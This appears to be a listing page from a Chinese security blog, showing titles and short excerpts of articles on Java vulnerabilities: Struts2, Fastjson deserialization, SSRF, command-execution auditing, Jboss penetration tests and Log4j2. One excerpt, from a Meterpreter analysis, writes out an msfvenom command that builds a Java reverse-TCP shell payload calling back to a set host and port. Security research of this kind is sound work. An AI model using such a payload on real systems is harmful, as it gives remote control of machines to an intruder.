漏洞简介Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性，其值可设置为 none，g...
12月10日40 views评论inputstream
member
S2-013远程代码执行漏洞
12月10日40 views评论inputstream
member
12月10日40 views评论inputstream
member
Java 反序列化漏洞仍然存在
几个月前，Contrast 安全团队向 VMWare 安全团队报告了有关 Spring Kafka 的 Java 反序列化漏洞。它立即引起了我的注意，我开始分析这个错误。如果您有兴趣，可以查看我之前的...
10月26日12 views评论反序列化
反序列化漏洞
【Java代码审计】命令执行漏洞审计
1. 漏洞原理因用户输入未过滤或净化不完全，导致Web应用程序接收用户输入，拼接到要执行的系统命令中执行。一旦攻击者可以在目标服务器中执行任意系统命令，就意味着服务器已被非法控制。2. 审计中常用函数...
09月26日78 views评论代码审计
命令执行漏洞
Meterpreter源码分析
一、生成木马上线msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.245.129 LPORT=4444 > /home/rkabyss...
09月24日68 views评论net
payload
HW40个高危漏洞利用
来源： YNsec YNsec安全实验室 1、Apache Log4j2 远程代码执行漏洞 Apache Log4j2 是一个开源的 Java 日志框架，被广泛地应用在中间件、开发框架与 Web 应用...
08月09日184 views评论io
logj
Fastjson 结合 jdk 原生反序列化的利用手法 ( Aliyun CTF )
2023 Aliyun CTF ezbean 是一道 CTF java 反序列化题目。题目的目的是让选手通过一个 java 原生反序列化入口，最终达成 RCE。本文对题目的几种解法做了具体的分析，主要...
06月19日64 views评论ctf
反序列化
FastJson结合二次反序列化绕过黑名单
本文转自先知社区：https://xz.aliyun.com/t/12606作者：Squirt1e省流该利用链可以在fastjson多个版本实现RCE，并且借助SignedObject绕过第一层安全的...
06月15日43 views评论fastjson
反序列化
java代码审计-ssrf漏洞
0x00 前言SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容，加载指定地址的图片，下载等等。这里主要介绍...
04月26日30 views评论inputstream
ion
反序列化漏洞的防御与拒绝服务
哆啦安全 ，赞 7 最近两个月我一直在做拒绝服务漏洞相关的时间，并收获了Spring和Weblogic的两个CVE（还有一些报告也许正在审核和修复中）但DoS漏洞终归是鸡肋洞，并没有太大的意义，比如之...
03月18日26 views反序列化漏洞的防御与拒绝服务已关闭评论android
new
记一次不完美的Jboss渗透实战
声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与...
03月11日23 views评论jboss
渗透实战
实战|一次不完美的Jboss渗透
一.前言最近做渗透测试中遇到一个jboss的站，在其中学到一些在乙方工作挺有用的技巧（这次测试是进过授权测试）在次分享一下二.信息收集先通过namp进行扫描，同时进行目录扫描，发现8080/jmx-c...
03月03日42 views评论jboss
runtime
cnvd-2017-02833漏洞复现
点击蓝字 关注我们FastjsonRCE-cnvd-2017-028330x01 影响版本影响版本：Fastjson1.2.24以及之前的版本0x02 环境靶场vulfocus 、Vps、window...
02月04日159 views评论exploit
java
5